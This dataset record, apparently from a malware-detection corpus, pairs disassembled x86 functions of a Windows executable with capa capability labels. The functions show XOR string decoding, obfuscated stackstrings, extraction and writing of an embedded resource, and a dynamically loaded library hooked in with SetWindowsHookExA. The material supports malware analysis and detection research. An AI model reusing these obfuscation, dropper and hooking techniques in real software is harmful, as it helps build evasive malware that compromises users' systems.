joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416880
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
lea ecx, [ebp - 1]
xor edx, edx
test ecx, ecx
mov esi, eax
push edi
mov al, 0x77
jle 0x4168cd
mov edi, 0x28
lea ebx, [ebx]
mov byte [0x431e50], al
mov dword [0x431e4c], edi
mov al, byte [edx + esi]
mov bl, byte [ecx + esi]
mov byte [edx + esi], bl
mov byte [ecx + esi], al
add word [0x431e54], 0x7abc
inc edx
dec ecx
cmp edx, ecx
mov al, 0x77
mov byte [0x431e48], al
jl 0x4168a0
mov edi, dword [0x431e4c]
mov dl, byte [0x431e50]
mov cl, byte [0x431e48]
mov eax, dword [esp + 0x14]
sub edi, 0x68d2
add dl, 0x4d
add cl, 0x1f
test ebp, ebp
mov word [0x431e54], 0x73
mov dword [0x431e4c], edi
mov byte [0x431e50], dl
mov byte [0x431e48], cl
jle 0x416945
mov ecx, eax
sub esi, eax
mov edi, ebp
mov dl, byte [esi + ecx]
xor byte [ecx], dl
mov dl, byte [0x431e50]
xor ebx, ebx
mov bl, dl
or dl, 0x73
movzx dx, dl
mov byte [0x431e48], 0x77
mov word [0x431e54], dx
and ebx, 0x6d
inc ecx
dec edi
mov dword [0x431e4c], ebx
jne 0x416914
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x416a80
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x42d410
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
mov eax, dword [0x4310d8]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0x40], eax
mov esi, ecx
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x20], 0xf
mov dword [esp + 0x1c], ebx
mov byte [esp + 0xc], bl
lea eax, [esp + 0x24]
push eax
mov byte [esp + 0x50], 1
call fcn.0040dbf0
lea ecx, [esp + 0xc]
push ecx
call fcn.0040ede0
mov ecx, dword [esp + 0x5c]
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x30]
push eax
push ecx
call fcn.00410670
add esp, 0x14
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x2c]
push edx
mov ecx, esi
call fcn.004027b0
call fcn.0040c1d0
xor edx, edx
mov ecx, 0x64
div ecx
cmp edx, 0x32
jbe 0x416b3a
push 1
push 0x42e3f8
mov ecx, esi
call fcn.0040dae0
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x10]
push edx
mov ecx, esi
call fcn.0040d9f0
mov eax, dword [esp + 0x20]
mov esi, 0x10
cmp eax, esi
jb 0x416b54
mov eax, dword [esp + 0xc]
push eax
call fcn.00424bcd
add esp, 4
cmp dword [esp + 0x3c], esi
pop esi
mov dword [esp + 0x18], ebx
mov byte [esp + 8], bl
mov dword [esp + 0x1c], 0xf
pop ebx
jb 0x416b79
mov ecx, dword [esp + 0x20]
push ecx
call fcn.00424bcd
add esp, 4
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x38]
call fcn.00424873
add esp, 0x48
ret
Function at 0x419690
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov cl, 0x5f
xor ebp, ebp
mov esi, edx
dec esi
test esi, esi
mov bl, cl
push edi
mov edi, dword [esp + 0x18]
mov dword [0x431e5c], 0x52
mov byte [0x431e60], cl
mov byte [0x431e58], bl
jle 0x41972c
mov edx, 0x5f
sub edi, eax
mov dword [esp + 0x10], esi
jmp 0x4196d0
movzx cx, cl
add ecx, edx
and ecx, dword [0x431e64]
or ecx, 0x52
mov word [0x431e64], cx
mov dl, byte [eax]
xor dl, byte [eax + 1]
mov byte [edi + eax], dl
mov bl, byte [0x431e58]
movzx dx, bl
mov cl, bl
or cl, 0x47
mov dword [0x431e5c], 0x52
mov byte [0x431e60], cl
lea ebp, [edx + 0x39]
and ebp, dword [0x431e64]
or ebp, 0x52
inc eax
dec esi
mov word [0x431e64], bp
jne 0x4196d0
mov edi, dword [esp + 0x18]
mov ebp, dword [esp + 0x10]
mov al, byte [0x431e64]
mov dl, 0x22
imul dl
sub cl, bl
xor cl, al
mov dword [0x431e5c], 0x42
mov byte [0x431e60], cl
mov byte [edi + ebp], 0
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x419760
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
lea ecx, [ebp - 1]
xor edx, edx
test ecx, ecx
push edi
mov esi, eax
mov bl, 0x47
jle 0x4197af
mov edi, 0x52
lea ebx, [ebx]
mov byte [0x431e60], bl
mov dword [0x431e5c], edi
mov bl, byte [ecx + esi]
mov al, byte [edx + esi]
mov byte [edx + esi], bl
mov byte [ecx + esi], al
add word [0x431e64], 0x7abc
inc edx
dec ecx
cmp edx, ecx
mov bl, 0x47
mov byte [0x431e58], bl
jl 0x419780
mov edi, dword [0x431e5c]
mov dl, byte [0x431e60]
mov cl, byte [0x431e58]
sub edi, 0x68d2
add dl, 0x4d
add cl, 0x1f
test ebp, ebp
mov word [0x431e64], 0x15
mov dword [0x431e5c], edi
mov byte [0x431e60], dl
mov byte [0x431e58], cl
jle 0x41982f
mov edi, dword [esp + 0x14]
mov ecx, edi
sub esi, edi
mov edx, ebp
mov al, byte [esi + ecx]
xor byte [ecx], al
mov al, byte [0x431e60]
movzx ebp, al
movzx ax, al
add ebp, 0x10
mov dword [0x431e5c], ebp
mov ebp, 0x15
mov byte [0x431e58], bl
sub ebp, eax
inc ecx
dec edx
mov word [0x431e64], bp
jne 0x4197f6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x41aaf0
Capabilities:
Encode data using xor

Disassembly:
push ecx
push ebx
push ebp
push esi
mov dl, 0x84
xor ebp, ebp
mov esi, eax
dec esi
test esi, esi
mov bl, dl
push edi
mov edi, dword [esp + 0x18]
mov dword [0x431e6c], 0x6f
mov byte [0x431e70], dl
mov byte [0x431e68], bl
jle 0x41ab94
mov eax, 0x84
sub edi, ecx
mov dword [esp + 0x10], esi
jmp 0x41ab30
movzx dx, dl
imul edx, eax
imul edx, dword [0x431e74]
or edx, 0x24
mov word [0x431e74], dx
mov al, byte [ecx]
xor al, byte [ecx + 1]
mov byte [edi + ecx], al
mov bl, byte [0x431e68]
mov al, bl
mov dl, 0x33
imul dl
mov dl, al
movzx ax, bl
mov dword [0x431e6c], 0x6f
mov byte [0x431e70], dl
mov ebp, eax
imul ebp, dword [0x431e74]
imul ebp, ebp, 0x2a
or ebp, 0x24
inc ecx
dec esi
mov word [0x431e74], bp
jne 0x41ab30
mov edi, dword [esp + 0x18]
mov ebp, dword [esp + 0x10]
mov al, byte [0x431e74]
imul bl
sub dl, al
xor dl, 0x41
mov dword [0x431e6c], 3
mov byte [0x431e70], dl
mov byte [edi + ebp], 0
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4

Function at 0x41ac50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x420
mov eax, dword [0x4310d8]
push esi
mov dword [esp + 0x420], eax
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
lea ecx, [esp + 0xc]
mov eax, 0xa
mov byte [esp + 0x18], 0x28
mov byte [esp + 0x19], 4
mov byte [esp + 0x1a], 0xb7
mov byte [esp + 0x1b], 0x1c
mov byte [esp + 0x1c], 0xbc
mov byte [esp + 0x1d], 0xc7
mov byte [esp + 0x1e], 0xa2
mov byte [esp + 0x1f], 0x23
mov byte [esp + 0x20], 0x93
mov byte [esp + 0x21], 0x35
mov byte [esp + 0xc], 0x6e
mov byte [esp + 0xd], 0x26
mov byte [esp + 0xe], 0x63
mov byte [esp + 0xf], 0x2f
mov byte [esp + 0x10], 0x60
mov byte [esp + 0x11], 0x40
mov byte [esp + 0x12], 0x65
mov byte [esp + 0x13], 0x16
mov byte [esp + 0x14], 0x1b
mov byte [esp + 0x15], 0x11
call fcn.0041aaf0
mov edx, eax
xor eax, eax
mov ecx, 0x100
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 8]
push ecx
push edx
lea edx, [esp + 0x28]
push edx
call dword [0x431f14]
add esp, 0xc
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [esp + 0x24]
push ecx
mov ecx, esi
call fcn.0041bc30
cmp eax, 0xffffffff
jne 0x41ad3b
mov eax, 7
mov ecx, dword [esp + 0x424]
call fcn.00424873
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
lea edi, [esi + 0x24]
push edi
mov ecx, esi
call fcn.0041abe0
test eax, eax
jne 0x41ad57
cmp dword [edi], 0xfa
sete al
dec eax
and eax, 8
mov ecx, dword [esp + 0x424]
call fcn.00424873
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x41c4c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor ebp, ebp
mov eax, 0xb6
dec edx
test edx, edx
mov dword [0x431e9c], 0x3b
mov byte [0x431ea0], al
mov byte [0x431e98], al
jle 0x41c545
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
sub esi, ecx
mov edi, edx
mov ebp, edx
mov edi, edi
xor edx, edx
mov dl, byte [0x431ea0]
sub dl, al
mov bl, 0x66
and edx, 0x3b
xor word [0x431ea4], dx
mov dl, byte [ecx + 1]
mov al, byte [ecx]
xor al, dl
mov byte [esi + ecx], al
mov dl, byte [0x431e98]
mov al, dl
imul bl
mov byte [0x431ea0], al
movzx ax, dl
xor edx, edx
mov dl, al
sub dl, 3
mov dword [0x431e9c], 0x3b
and edx, 0x3b
xor word [0x431ea4], dx
inc ecx
dec edi
jne 0x41c4f0
pop edi
pop esi
pop ebx
mov al, byte [0x431ea4]
imul byte [0x431e98]
mov cl, byte [0x431ea0]
sub al, 0x15
or cl, al
mov eax, dword [esp + 8]
mov dword [0x431e9c], 0x38
mov byte [0x431ea0], cl
mov byte [eax + ebp], 0
pop ebp
ret

Function at 0x41c580
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
lea ecx, [ebp - 1]
xor edx, edx
test ecx, ecx
mov esi, eax
push edi
mov al, 0x38
jle 0x41c5cd
mov edi, 0x3b
lea ebx, [ebx]
mov byte [0x431ea0], al
mov dword [0x431e9c], edi
mov al, byte [edx + esi]
mov bl, byte [ecx + esi]
mov byte [edx + esi], bl
mov byte [ecx + esi], al
add word [0x431ea4], 0x7abc
inc edx
dec ecx
cmp edx, ecx
mov al, 0x38
mov byte [0x431e98], al
jl 0x41c5a0
mov edi, dword [0x431e9c]
mov dl, byte [0x431ea0]
mov cl, byte [0x431e98]
sub edi, 0x68d2
add dl, 0x4d
add cl, 0x1f
test ebp, ebp
mov word [0x431ea4], 0x1c
mov dword [0x431e9c], edi
mov byte [0x431ea0], dl
mov byte [0x431e98], cl
jle 0x41c64a
mov edx, dword [esp + 0x14]
mov ecx, edx
sub esi, edx
mov edi, ebp
mov al, byte [esi + ecx]
xor byte [ecx], al
mov al, byte [0x431ea0]
xor ebx, ebx
mov bl, al
movzx ax, al
mov byte [0x431e98], 0x38
and ebx, 0x35
mov dword [0x431e9c], ebx
add eax, 0x1c
inc ecx
dec edi
mov word [0x431ea4], ax
jne 0x41c614
pop edi
pop esi
pop ebp
mov eax, edx
pop ebx
ret
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x41dde0
Capabilities:
Encode data using xor

Disassembly:
push ebp
xor ebp, ebp
mov eax, 0xca
dec edx
test edx, edx
mov dword [0x431f20], 0x76
mov byte [0x431f24], al
mov byte [0x431f1c], al
jle 0x41de63
push esi
mov esi, dword [esp + 0xc]
push edi
sub esi, ecx
mov edi, edx
mov ebp, edx
lea ecx, [ecx]
xor edx, edx
mov dl, byte [0x431f24]
sub dl, al
and edx, 0x5e
and word [0x431f28], dx
mov dl, byte [ecx + 1]
mov al, byte [ecx]
xor al, dl
mov byte [esi + ecx], al
mov al, byte [0x431f1c]
mov dl, al
add dl, 0x6c
mov byte [0x431f24], dl
xor edx, edx
movzx ax, al
mov dl, al
sub dl, 0x10
mov dword [0x431f20], 0x76
and edx, 0x5e
and word [0x431f28], dx
inc ecx
dec edi
jne 0x41de10
pop edi
pop esi
mov al, byte [0x431f28]
mov dl, byte [0x431f1c]
mov cl, byte [0x431f24]
sub al, 0x35
and al, dl
or cl, al
mov eax, dword [esp + 8]
mov dword [0x431f20], 0x70
mov byte [0x431f24], cl
mov byte [eax + ebp], 0
pop ebp
ret 4

Function at 0x41df40
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x41e09d
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x41e09d
mov eax, dword [esp + 0x14]
push edi
push 0
push 0
push 3
push 0
push 1
push 1
mov dword [esi], 0
push eax
mov dword [ebx], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x41df9b
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
mov dword [ebx], eax
jne 0x41dfa1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov dword [esi], eax
jne 0x41dfc8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
ret
xor dword [0x431f20], 0x7dcf
mov edx, dword [ebx]
mov eax, dword [esi]
push 0
lea ecx, [esp + 0x18]
push ecx
push edx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e023
mov ecx, dword [esp + 0x14]
cmp ecx, dword [ebx]
jne 0x41e023
mov dl, byte [0x431f1c]
mov cl, byte [0x431f24]
and dl, 0xe4
or cl, dl
push edi
mov word [0x431f28], 0x22
mov byte [0x431f24], cl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov cl, byte [0x431f1c]
mov al, cl
add al, 0x6c
mov byte [0x431f24], al
movzx ecx, cl
or ecx, 0x20
add al, 0xb
mov dword [0x431f20], ecx
mov word [0x431f28], 0xff
mov dword [esi], 0
mov dword [ebx], 0
mov dl, byte [0x431f28]
mov bl, byte [0x431f1c]
mov ecx, dword [0x431f20]
and al, 0x18
or al, 0xc5
pop ebp
movzx eax, al
and dl, 0xe4
or bl, dl
pop edi
sub ecx, eax
pop esi
mov byte [0x431f1c], bl
mov dword [0x431f20], ecx
xor eax, eax
pop ebx
ret
pop esi
xor eax, eax
pop ebx
ret
Function at 0x41e0b0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
sub esp, 8
push ebx
push esi
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x10]
mov edx, 4
mov byte [esp + 0xc], 0x6a
mov byte [esp + 0xd], 0xc1
mov byte [esp + 0xe], 0xa4
mov byte [esp + 0xf], 0x4a
mov byte [esp + 0x10], 0x86
mov byte [esp + 0x11], 0xe4
mov byte [esp + 0x12], 0x8d
mov byte [esp + 0x13], 0xe3
call fcn.0041dde0
mov ecx, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
push eax
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x41e10d
pop esi
pop ebx
add esp, 8
ret
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x41e123
pop edi
pop esi
pop ebx
add esp, 8
ret
push ebp
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x41e143
pop ebp
pop edi
pop esi
pop ebx
add esp, 8
ret
mov edx, dword [esp + 0x20]
push 0
push 0
push 2
push 0
push 0
push 2
push edx
mov dword [0x431f20], 0x76
mov byte [0x431f24], 0x71
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov cx, word [0x431f28]
movsx ebx, cx
mov esi, eax
and ebx, 0xfffffffd
mov al, cl
add al, 0x6c
or ebx, 0x3c
cmp esi, 0xffffffff
mov byte [0x431f1c], al
jne 0x41e19b
mov ecx, dword [0x431f20]
or ecx, 0x2806
xor edi, edi
jmp 0x41e206
push 0
lea eax, [esp + 0x18]
push eax
push ebp
push edi
push esi
mov byte [0x431f24], 0x71
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41e1d4
mov ecx, dword [0x431f20]
mov edx, ecx
and edx, ebx
or edx, 0x27
mov al, 0x71
mov word [0x431f28], 0x22
mov ebx, edx
xor edi, edi
jmp 0x41e20c
mov cx, word [0x431f28]
mov al, byte [0x431f1c]
mov dl, bl
sub dl, 0x35
and dl, cl
or al, dl
xor cx, bx
mov ebx, 0x76
mov word [0x431f28], cx
mov byte [0x431f24], 0x71
mov edi, 1
mov ecx, ebx
mov dword [0x431f20], ecx
mov dl, byte [0x431f28]
sub cl, 0x35
and cl, dl
or al, cl
mov byte [0x431f1c], al
mov al, byte [0x431f24]
imul bl
or ebx, 0x3b
cmp esi, 0xffffffff
mov byte [0x431f24], al
mov word [0x431f28], bx
je 0x41e240
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 8
ret

Function at 0x41e250
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor ecx, ecx
mov ebx, eax
dec ebx
test ebx, ebx
push ebp
mov ebp, dword [esp + 0xc]
mov byte [0x431f30], 0x3d
jle 0x41e2d3
push esi
mov esi, ebp
push edi
sub esi, edx
mov edi, ebx
mov eax, 0x5a
jmp 0x41e280
xor dword [0x431f34], 0x492b4
mov dword [0x431f2c], eax
mov cl, byte [edx + 1]
xor cl, byte [edx]
mov byte [esi + edx], cl
movsx cx, byte [0x431f30]
imul ecx, dword [0x431f38]
add ecx, dword [0x431f2c]
or ecx, 0x5b
mov word [0x431f38], cx
movzx ecx, cx
shl ecx, 2
inc edx
dec edi
mov dword [0x431f34], ecx
jne 0x41e280
pop edi
pop esi
mov byte [ebx + ebp], 0
mov eax, ebp
pop ebp
pop ebx
ret 4
mov byte [ecx + ebp], 0
mov eax, ebp
pop ebp
pop ebx
ret 4
Function at 0x41e2e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [0x431f2c]
mov ebx, ecx
push esi
lea ecx, [ebx - 1]
xor esi, esi
test ecx, ecx
push edi
mov edi, eax
mov edx, 0x16
jle 0x41e32e
lea esp, [esp]
mov dl, byte [ecx + edi]
mov al, byte [esi + edi]
mov byte [esi + edi], dl
mov byte [ecx + edi], al
lea eax, [ebp + 0x50]
xor eax, 0x5eeb
mov edx, eax
lea ebp, [eax + 0x50]
mov al, byte [0x431f2c]
and al, 2
xor edx, 8
inc esi
dec ecx
cmp esi, ecx
mov byte [0x431f30], al
jl 0x41e300
test ebx, ebx
mov dword [0x431f34], 0x6d
jle 0x41e38f
mov ecx, dword [esp + 0x14]
mov esi, ecx
sub edi, ecx
mov ebp, ebx
jmp 0x41e350
mov eax, 0x77
sub eax, edx
mov word [0x431f38], ax
mov dl, byte [edi + esi]
xor byte [esi], dl
mov al, byte [0x431f34]
imul byte [0x431f2c]
mov bl, byte [0x431f30]
and al, 0x50
and bl, al
inc esi
dec ebp
mov edx, 0x16
mov byte [0x431f30], bl
jne 0x41e350
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
ret 4
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x41f020
Capabilities:
Query service status

Disassembly:
sub esp, 0x28
push edi
push 0x80000000
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x41f04e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x34]
mov dword [ecx], eax
xor eax, eax
pop edi
add esp, 0x28
ret 8
mov edx, dword [esp + 0x30]
push esi
push 4
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x41f080
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x38]
push edi
mov dword [ecx], eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
add esp, 0x28
ret 8
lea edx, [esp + 8]
push edx
push 0x24
lea eax, [esp + 0x14]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
jne 0x41f0bb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x38]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov dword [ecx], eax
call esi
push edi
call esi
pop esi
xor eax, eax
pop edi
add esp, 0x28
ret 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, dword [esp + 0x10]
cmp eax, 4
je 0x41f0e9
cmp eax, 2
je 0x41f0e9
mov edx, dword [esp + 0x38]
pop esi
mov dword [edx], 0
xor eax, eax
pop edi
add esp, 0x28
ret 8
mov eax, dword [esp + 0x38]
pop esi
mov dword [eax], 0
mov eax, 1
pop edi
add esp, 0x28
ret 8
Function at 0x41f660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x34
mov eax, dword [0x4310d8]
mov dword [esp + 0x30], eax
mov ax, word [0x431f38]
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
add ax, 0x6d
push esi
mov esi, ecx
mov cl, 0x54
add ax, 0x6d
mov byte [esp + 0x1a], cl
mov byte [esp + 4], cl
mov cl, 0x7c
add ax, 0x6d
mov dl, 0x2c
add ax, 0x6d
mov byte [esp + 6], cl
mov byte [esp + 9], cl
mov byte [esp + 0x27], cl
mov byte [esp + 5], dl
mov byte [esp + 0xa], dl
mov dl, 0xf
xor ecx, ecx
add ax, 0x73d
push edi
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1d], 0x42
mov byte [esp + 0x1f], 0x50
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], 0
mov byte [esp + 0xb], 0xc
mov byte [esp + 0xc], 0x12
mov byte [esp + 0xf], 0xe7
mov byte [esp + 0x10], 0x50
mov byte [esp + 0x11], 0x8d
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x29
mov byte [esp + 0x14], 0xa2
mov byte [esp + 0x15], 0xa8
mov byte [esp + 0x16], 0x4e
mov byte [esp + 0x17], 0x45
mov byte [esp + 0x18], 0xc5
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0xf9
mov byte [esp + 0x27], 0x68
mov byte [esp + 0x28], 0x22
mov byte [esp + 0x29], 0xb8
mov byte [esp + 0x2a], 0xd
mov byte [esp + 0x2c], 0xe1
mov byte [esp + 0x2d], 0xa7
mov byte [esp + 0x2e], dl
mov byte [esp + 0x2f], 0xe
mov byte [esp + 0x30], 0x8c
mov byte [esp + 0x31], 0xbc
mov byte [esp + 0x32], 0x1e
mov byte [esp + 0x33], 0x27
mov byte [esp + 0x34], 0x3b
mov word [0x431f38], ax
mov dl, byte [esp + ecx + 8]
mov al, byte [esp + ecx + 0x24]
add dl, al
mov byte [esp + ecx + 8], dl
inc ecx
cmp ecx, 0x11
jl 0x41f773
mov eax, dword [esi + 0x17c]
test eax, eax
mov edi, 1
je 0x41f7a7
mov eax, edi
pop edi
pop esi
mov ecx, dword [esp + 0x30]
call fcn.00424873
add esp, 0x34
ret
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x41f7b4
cmp dword [esi + 4], 5
ja 0x41f7df
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
mov dword [esi + 0x170], eax
je 0x41f7df
lea edx, [esp + 0x1c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
mov dword [esi + 0x174], eax
jne 0x41f7f0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x30]
call fcn.00424873
add esp, 0x34
ret
mov ecx, dword [esi + 0x170]
push 0
push ecx
push eax
push 5
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [esi + 0x178], eax
jne 0x41f80e
xor edi, edi
mov ecx, dword [esp + 0x38]
mov dword [esi + 0x17c], edi
mov eax, edi
pop edi
pop esi
call fcn.00424873
add esp, 0x34
ret
Function at 0x421e40
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 4]
sub esp, 0xc
push eax
push ecx
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x10]
push eax
call fcn.00421de0
add esp, 0x10
test eax, eax
jne 0x421e67
add esp, 0xc
ret
mov ecx, dword [esp + 0x14]
push esi
push edi
push 0
push 2
push 2
push 0
push 0
push 2
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x421e91
xor esi, esi
pop edi
mov eax, esi
pop esi
add esp, 0xc
ret
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push 0
lea edx, [esp + 0x14]
push edx
push eax
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
neg esi
sbb esi, esi
push edi
neg esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
add esp, 0xc
ret
Function at 0x422300
Capabilities:
Encode data using xor

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
lea edx, [ebp - 1]
xor esi, esi
test edx, edx
push edi
mov edi, eax
mov ecx, 0x28
mov ebx, 0x20
jle 0x422349
lea ecx, [ecx]
mov al, byte [esi + edi]
mov ecx, ebx
mov bl, byte [edx + edi]
or ecx, 5
mov byte [esi + edi], bl
mov byte [edx + edi], al
mov eax, ecx
and eax, 0x63
mov ebx, eax
mov eax, ecx
xor eax, 0x53
inc esi
dec edx
cmp esi, edx
mov word [0x431f40], ax
jl 0x422320
movsx edx, cx
xor edx, 0x3f
xor ecx, 0x53
test ebp, ebp
mov dword [0x431f3c], edx
mov word [0x431f40], cx
jle 0x422394
mov esi, dword [esp + 0x14]
mov ecx, esi
sub edi, esi
mov eax, ebp
lea ecx, [ecx]
mov dl, byte [edi + ecx]
xor byte [ecx], dl
mov ebp, dword [0x431f3c]
and ebp, 0x3fb3
inc ecx
dec eax
mov dword [0x431f3c], ebp
jne 0x422370
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret 8
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x4237f6
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x29c]
sub esp, 0x31c
mov eax, dword [0x4310d8]
push esi
mov dword [ebp + 0x298], eax
mov esi, 0x104
push esi
lea eax, [ebp + 0x194]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x78]
push eax
push esi
lea eax, [ebp + 0x90]
push eax
lea eax, [ebp + 0x194]
push eax
mov byte [ebp + 0x197], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
pop esi
jne 0x42385a
or eax, 0xffffffff
jmp 0x42385d
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp + 0x298]
call fcn.00424873
add ebp, 0x29c
leave
ret
Function at 0x423f92
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
push esi
xor esi, esi
dec eax
test eax, eax
jle 0x423fb2
push ebx
mov bl, byte [eax + ecx]
mov dl, byte [esi + ecx]
mov byte [esi + ecx], bl
inc esi
mov byte [eax + ecx], dl
dec eax
cmp esi, eax
jl 0x423f9f
pop ebx
mov esi, dword [esp + 0xc]
and byte [0x432020], 0x19
test esi, esi
jle 0x423fd7
mov eax, dword [esp + 8]
sub ecx, eax
mov byte [0x432020], 0x54
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x423fc7
mov eax, dword [esp + 8]
pop esi
ret 8